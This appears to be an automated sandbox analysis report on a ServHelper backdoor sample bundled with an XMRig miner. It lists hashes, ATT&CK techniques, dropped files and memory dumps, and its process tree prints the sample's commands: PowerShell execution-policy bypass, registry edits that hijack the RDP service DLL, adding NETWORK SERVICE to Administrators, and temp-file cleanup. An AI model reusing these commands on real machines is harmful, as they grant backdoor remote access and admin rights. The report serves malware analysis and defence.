servhelper | 5d45cef43fb4c150c33337fb369a89800f9d235eee1dbdac13a8f6fd13bc1ee4

Analysis

max time kernel
82s
max time network
136s
platform
windows10_x64
resource
win10-en
submitted
14-09-2021 14:11

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General

Target

608b93e344bd3dbb09d0af9da6856061.exe
Size

4.0MB
MD5

608b93e344bd3dbb09d0af9da6856061
SHA1

b7c8bd7bace350d3c9c054ebb58f25535d22ee95
SHA256

5d45cef43fb4c150c33337fb369a89800f9d235eee1dbdac13a8f6fd13bc1ee4
SHA512

6e47bb4688737505af62a8c67cea4143185dc047340d8943d412b5274b229bd24628a31576a3250cdfb69b0b4fcfd74140fe83355f49527e7cf9f465c30ac131

Score

10^/10

servhelper xmrig backdoor miner persistence trojan

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1012	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
624	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 3548 wrote to memory of 3644	3548	608b93e344bd3dbb09d0af9da6856061.exe	69
PID 3548 wrote to memory of 3644	3548	608b93e344bd3dbb09d0af9da6856061.exe	69
PID 3548 wrote to memory of 3644	3548	608b93e344bd3dbb09d0af9da6856061.exe	69
PID 3644 wrote to memory of 3748	3644	powershell.exe	71
PID 3644 wrote to memory of 3748	3644	powershell.exe	71
PID 3644 wrote to memory of 3748	3644	powershell.exe	71
PID 3748 wrote to memory of 3716	3748	csc.exe	72
PID 3748 wrote to memory of 3716	3748	csc.exe	72
PID 3748 wrote to memory of 3716	3748	csc.exe	72
PID 3644 wrote to memory of 4080	3644	powershell.exe	73
PID 3644 wrote to memory of 4080	3644	powershell.exe	73
PID 3644 wrote to memory of 4080	3644	powershell.exe	73
PID 3644 wrote to memory of 2460	3644	powershell.exe	75
PID 3644 wrote to memory of 2460	3644	powershell.exe	75
PID 3644 wrote to memory of 2460	3644	powershell.exe	75
PID 3644 wrote to memory of 3688	3644	powershell.exe	77
PID 3644 wrote to memory of 3688	3644	powershell.exe	77
PID 3644 wrote to memory of 3688	3644	powershell.exe	77
PID 3644 wrote to memory of 424	3644	powershell.exe	79
PID 3644 wrote to memory of 424	3644	powershell.exe	79
PID 3644 wrote to memory of 424	3644	powershell.exe	79
PID 3644 wrote to memory of 1012	3644	powershell.exe	80
PID 3644 wrote to memory of 1012	3644	powershell.exe	80
PID 3644 wrote to memory of 1012	3644	powershell.exe	80
PID 3644 wrote to memory of 2364	3644	powershell.exe	81
PID 3644 wrote to memory of 2364	3644	powershell.exe	81
PID 3644 wrote to memory of 2364	3644	powershell.exe	81
PID 3644 wrote to memory of 2172	3644	powershell.exe	82
PID 3644 wrote to memory of 2172	3644	powershell.exe	82
PID 3644 wrote to memory of 2172	3644	powershell.exe	82
PID 2172 wrote to memory of 2784	2172	net.exe	83
PID 2172 wrote to memory of 2784	2172	net.exe	83
PID 2172 wrote to memory of 2784	2172	net.exe	83
PID 3644 wrote to memory of 584	3644	powershell.exe	84
PID 3644 wrote to memory of 584	3644	powershell.exe	84
PID 3644 wrote to memory of 584	3644	powershell.exe	84
PID 584 wrote to memory of 740	584	cmd.exe	85
PID 584 wrote to memory of 740	584	cmd.exe	85
PID 584 wrote to memory of 740	584	cmd.exe	85
PID 740 wrote to memory of 696	740	cmd.exe	86
PID 740 wrote to memory of 696	740	cmd.exe	86
PID 740 wrote to memory of 696	740	cmd.exe	86
PID 696 wrote to memory of 1312	696	net.exe	87
PID 696 wrote to memory of 1312	696	net.exe	87
PID 696 wrote to memory of 1312	696	net.exe	87
PID 3644 wrote to memory of 1456	3644	powershell.exe	88
PID 3644 wrote to memory of 1456	3644	powershell.exe	88
PID 3644 wrote to memory of 1456	3644	powershell.exe	88
PID 1456 wrote to memory of 1544	1456	cmd.exe	89
PID 1456 wrote to memory of 1544	1456	cmd.exe	89
PID 1456 wrote to memory of 1544	1456	cmd.exe	89
PID 1544 wrote to memory of 1572	1544	cmd.exe	90
PID 1544 wrote to memory of 1572	1544	cmd.exe	90
PID 1544 wrote to memory of 1572	1544	cmd.exe	90
PID 1572 wrote to memory of 1592	1572	net.exe	91
PID 1572 wrote to memory of 1592	1572	net.exe	91
PID 1572 wrote to memory of 1592	1572	net.exe	91
PID 3644 wrote to memory of 2264	3644	powershell.exe	95
PID 3644 wrote to memory of 2264	3644	powershell.exe	95
PID 3644 wrote to memory of 2264	3644	powershell.exe	95
PID 3644 wrote to memory of 1012	3644	powershell.exe	96
PID 3644 wrote to memory of 1012	3644	powershell.exe	96
PID 3644 wrote to memory of 1012	3644	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe
"C:\Users\Admin\AppData\Local\Temp\608b93e344bd3dbb09d0af9da6856061.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zboakoxb\zboakoxb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1BBB.tmp" "c:\Users\Admin\AppData\Local\Temp\zboakoxb\CSC6678B83EFD544333B99B4AFEEE122FE.TMP"
      4⤵
      PID:3716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2460
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3688
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2364
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2784
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:584
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:740
    - - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:696
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1544
    - - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1572
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1592
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2264
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2460-536-0x000000007F000000-0x000000007F001000-memory.dmp

Filesize
4KB

Download
memory/2460-444-0x00000000045B2000-0x00000000045B3000-memory.dmp

Filesize
4KB

Download
memory/2460-442-0x00000000045B0000-0x00000000045B1000-memory.dmp

Filesize
4KB

Download
memory/3548-120-0x0000000004D02000-0x0000000004D03000-memory.dmp

Filesize
4KB

Download
memory/3548-121-0x0000000004D03000-0x0000000004D04000-memory.dmp

Filesize
4KB

Download
memory/3548-124-0x0000000004D04000-0x0000000004D05000-memory.dmp

Filesize
4KB

Download
memory/3548-122-0x00000000058C0000-0x00000000058C1000-memory.dmp

Filesize
4KB

Download
memory/3548-123-0x0000000007C00000-0x0000000007C01000-memory.dmp

Filesize
4KB

Download
memory/3548-119-0x0000000004D00000-0x0000000004D01000-memory.dmp

Filesize
4KB

Download
memory/3548-115-0x0000000005120000-0x000000000551F000-memory.dmp

Filesize
4.0MB

Download
memory/3548-118-0x0000000005750000-0x0000000005751000-memory.dmp

Filesize
4KB

Download
memory/3548-117-0x0000000005A20000-0x0000000005A21000-memory.dmp

Filesize
4KB

Download
memory/3644-130-0x00000000066C0000-0x00000000066C1000-memory.dmp

Filesize
4KB

Download
memory/3644-176-0x0000000008E00000-0x0000000008E01000-memory.dmp

Filesize
4KB

Download
memory/3644-155-0x00000000066C3000-0x00000000066C4000-memory.dmp

Filesize
4KB

Download
memory/3644-153-0x0000000008AA0000-0x0000000008AA1000-memory.dmp

Filesize
4KB

Download
memory/3644-128-0x0000000000DC0000-0x0000000000DC1000-memory.dmp

Filesize
4KB

Download
memory/3644-129-0x0000000006D00000-0x0000000006D01000-memory.dmp

Filesize
4KB

Download
memory/3644-131-0x00000000066C2000-0x00000000066C3000-memory.dmp

Filesize
4KB

Download
memory/3644-133-0x0000000007330000-0x0000000007331000-memory.dmp

Filesize
4KB

Download
memory/3644-1053-0x000000007EDD0000-0x000000007EDD1000-memory.dmp

Filesize
4KB

Download
memory/3644-145-0x0000000008A20000-0x0000000008A21000-memory.dmp

Filesize
4KB

Download
memory/3644-144-0x0000000009380000-0x0000000009381000-memory.dmp

Filesize
4KB

Download
memory/3644-132-0x0000000006C30000-0x0000000006C31000-memory.dmp

Filesize
4KB

Download
memory/3644-138-0x0000000007D20000-0x0000000007D21000-memory.dmp

Filesize
4KB

Download
memory/3644-137-0x0000000007EB0000-0x0000000007EB1000-memory.dmp

Filesize
4KB

Download
memory/3644-136-0x0000000007400000-0x0000000007401000-memory.dmp

Filesize
4KB

Download
memory/3644-135-0x00000000075F0000-0x00000000075F1000-memory.dmp

Filesize
4KB

Download
memory/3688-700-0x0000000004D92000-0x0000000004D93000-memory.dmp

Filesize
4KB

Download
memory/3688-744-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/3688-699-0x0000000004D90000-0x0000000004D91000-memory.dmp

Filesize
4KB

Download
memory/4080-212-0x0000000008B40000-0x0000000008B41000-memory.dmp

Filesize
4KB

Download
memory/4080-213-0x000000007E860000-0x000000007E861000-memory.dmp

Filesize
4KB

Download
memory/4080-211-0x0000000008990000-0x0000000008991000-memory.dmp

Filesize
4KB

Download
memory/4080-206-0x0000000008830000-0x0000000008831000-memory.dmp

Filesize
4KB

Download
memory/4080-198-0x0000000008850000-0x0000000008883000-memory.dmp

Filesize
204KB

Download
memory/4080-187-0x0000000004672000-0x0000000004673000-memory.dmp

Filesize
4KB

Download
memory/4080-186-0x0000000004670000-0x0000000004671000-memory.dmp

Filesize
4KB

Download
memory/4080-406-0x0000000008AE0000-0x0000000008AE1000-memory.dmp

Filesize
4KB

Download
memory/4080-412-0x0000000008AD0000-0x0000000008AD1000-memory.dmp

Filesize
4KB

Download